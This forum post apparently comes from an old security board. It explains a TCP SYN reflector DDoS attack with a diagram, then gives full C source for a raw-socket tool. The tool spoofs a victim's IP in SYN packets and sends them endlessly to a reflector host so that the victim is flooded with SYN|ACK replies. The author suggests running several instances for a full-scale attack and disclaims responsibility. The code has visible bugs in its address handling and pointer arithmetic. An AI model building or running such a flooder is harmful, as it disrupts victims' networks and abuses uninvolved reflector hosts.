SYN Dest IP: reflector Src IP: target ATTACKER -----------------> REFLECTOR MACHINE | | | SYN|ACK | Dest IP: target | Src IP: reflector | TARGET MACHINE
By doing this, the attacker is essentially using "reflector" machine's bandwidth to continuously flood "target" machine with SYN|ACK packets. Commonly, the attacker would do this using multiple reflector machines, thus causing this attack to be a DDoS (Distributed Denial of Service attack). Although the concept of this attack is not new, and use of it certainly NOT new either (register.com was the victim of a reflector attack in 2k1 if I recall), I haven't seen any tools written to do this attack. I have written a Proof-of-concept to demonstrate the attack I described above. I hope you might find it useful in some way.
reflector.c
/* reflector.c - reflector DDoS utility.
*
* This program is a simple PoC program for the 'reflector' DDoS attack.
* The attack theory is relatively simple:
*
* An attacker spoofs a SYN packet with the source address set to the victim's
* IP address to an agent host. The agent host responds to this SYN packet by
* sending a SYN|ACK packet to the source address (which is actually the
* victim's IP address). The attacker sends a continual storm of these
* packets, thus causing the victim host to be flooded continually with SYN|ACK
* packets, by a totally innocent agent host ("reflector" host). In this
* sense, the attacker is using a different host to carry out the DoS attack,
* thus classifying it a DDoS attack.
*
* I don't take responsibility for usage of this program, I hope you find it
* useful.
*
* -shaun2k2
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
/* signal handler function prototype. */
void clean_exit();
/* checksum calculation function prototype. */
unsigned short in_cksum(unsigned short *addr, int len);
int sock; /* this is our raw socket. This is a global int because the
signal handler needs to be able to reference it, so declaring
in main() would not work. */
/* main() function. The main function will build the packet, and send it
* forever. When it receives a form of termination signal from the user,
* it will hand control to clean_exit(), which should cleanly exit the
* program. This function fills in the IP section of the packet, the TCP
* section, and also our pseudo header, which is used in calculating a
* checksum value.
*
* return value: 0 - success.
*/
int main(int argc, char *argv[]) {
/* Check the command line arguments. */
if(argc < 3) {
printf("reflect <reflect_sys> <reflect_sys_port> <victim>\n", argv[0]);
printf("reflect DDoS written by shaun2k2 - <shaunige@yahoo.co.uk>\n");
exit(-1);
}
/* pseudo header, used in calculating a checksum for each packet. */
struct pseudohdr {
unsigned long saddr; /* source address */
unsigned long daddr; /* dest address */
char zer0; /* zero */
unsigned char protocol; /* protocol to use */
unsigned short length; /* length of packet */
};
int on = 1;
char packet[4096]; /* Packet. */
struct sockaddr_in dest; /* Our address info structures. */
struct sockaddr_in dest1;
struct iphdr *ip = (struct iphdr *) packet; /* our raw socket
structures. */
struct tcphdr *tcp = (struct tcphdr *) packet + sizeof(struct iphdr);
struct pseudohdr *pseudo;
pseudo = (struct pseudohdr *) (packet + sizeof(struct iphdr) - sizeof(struct pseudohdr));
struct hostent *he;
struct hostent *he1;
/* Check if the user is root (uid 0). */
if(getuid() != 0) {
printf("Must be root to create a raw socket!\n");
exit(-1);
}
/* check if the reflector host exists. */
if((he = gethostbyname(argv[1])) == NULL) {
printf("Couldn't resolve hostname!\n");
exit(-1);
}
/* check if the victim host exists. */
if((he1 = gethostbyname(argv[3])) == NULL) {
printf("Couldn't resolve hostname!\n");
exit(-1);
}
/* create the socket. */
if((sock = socket (AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
perror("socket()"); /* Error creating socket. */
exit(-1);
}
/* Fill in the destination (reflector machine) info. */
dest.sin_family = AF_INET;
dest.sin_port = htons(atoi(argv[2]));
dest.sin_addr = *((struct in_addr *)he->h_addr);
memset(packet, 0, 4096); /* zero out the packet. */
/* Fill in the structure for the source address (victim). */
dest1.sin_addr = *((struct in_addr *)he1->h_addr);
dest1.sin_port = htons(1337); /* this doesn't matter too much. */
/* nothing else in needed. */
/* fill in the pseudo header - this is needed to help calculate
* the checksum for the tcp segment of the packet. */
pseudo->saddr = inet_ntoa(dest1.sin_addr); /* source address
(target). */
pseudo->daddr = inet_ntoa(dest.sin_addr); /* dest address
(reflector). */
pseudo->zer0 = 0;
pseudo->protocol = IPPROTO_TCP; /* we are using tcp. */
pseudo->length = htons(sizeof(struct tcphdr)); /* total length of
tcp segment of the
packet. */
/* Tell the kernel we'll fill in the IP headers
* outselves. */
if((setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) < 0 ) {
perror("setsockopt");
exit(1);
}
/* Fill in IP headers. */
ip->ihl = 5;
ip->version = 4;
ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
ip->id = htons(1337);
ip->saddr = inet_ntoa(dest1.sin_addr); /* source address is the victims
IP address. */
ip->daddr = inet_ntoa(dest.sin_addr); /* dest address is the reflector
machine. */
ip->ttl = 255; /* time to live for the packet. */
ip->protocol = 6;
ip->check = 0; /* calculate checksum later, below. */
ip->tos = 0;
ip->frag_off = 0;
/* set the checksum. */
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
/* Fill in the TCP headers. */
tcp->source = htons(dest1.sin_port);
tcp->dest = htons(dest.sin_port); /* the dest port is the destination
port on the reflector machine. */
tcp->seq = htons(random()); /* "random" sequence number. */
tcp->ack = 0; /* ACKnowledgement */
tcp->syn = 1; /* this is the first step in the TCP handshake, a syn
packet. */
tcp->window = htons(65535);
tcp->doff = 5;
tcp->rst = 0; /* ReSeT */
tcp->check = 0; /* calculate checksum later, below. */
tcp->psh = 0; /* PuSH */
tcp->fin = 0; /* FINish */
tcp->urg = 0; /* URGent */
tcp->ack_seq = htons(0); /* ACKnowledgement SEQuence number.
this is not an ACK packet, so we do not
need this. */
/* set the checksum. */
tcp->check = (unsigned short)in_cksum((unsigned short *)pseudo, sizeof(struct tcphdr)+sizeof(struct pseudohdr));
printf("Reflector DDoS attack:\n\n");
printf("Localhost ----> %s <----> %s\n\n", argv[1], inet_ntoa(dest1.sin_addr));
printf("DoSing %s!\n", inet_ntoa(dest1.sin_addr));
signal(SIGINT, clean_exit); /* install signal handlers. If user does
send a signal which is either SIGINT
or SIGQUIT, jump to clean_exit().
*/
signal(SIGQUIT, clean_exit);
/* Insert some fork()'s in here if you can afford a few processes. */
while(1) {
/* After all of our hard work, finally inject the packet.
* The packet will be sent out as fast as our machine can send them
* out, and will continue until the user sends some form of term
* signal. If our attack works correctly, the target machine should
* be flooded with SYN|ACK packets. If you run multiple instances
* of this program, each using a different reflector ('agent') host,
* this could be a full-scale DDoS attack, and a pretty effective one.
*/
sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr));
}
/* return success - shouldn't ever get here, since loop is
* infinite. */
return(0);
}
/* signal handling function. Catches signal, flushes socket, closes socket,
* and exits gracefully.
*
* return value: 0 - success
*/
void clean_exit() {
signal(SIGINT, clean_exit); /* reset the signals. */
signal(SIGQUIT, clean_exit);
printf("\n\n\aSignal caught!\n\n");
printf("Exiting gracefully...\n");
close(sock); /* close socket. */
exit(0);
}
/* checksum calculation function.
* This function will efficiently calculate the checksum
* for both the TCP part of the packet, and the IP part of the
* packet. This is a pretty popular checksum function found in
* many raw sockets programs. I am unaware of who the original
* author is. If you know, please let me know.
*
* return value: a calculated checksum value.
*/
unsigned short in_cksum(unsigned short *addr, int len) {
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer); /* return the checksum value. */
}I have attempted to make it as robust as possible. :)
Thank you for your time.
Shaun.

Sign In
Register
Help
MultiQuote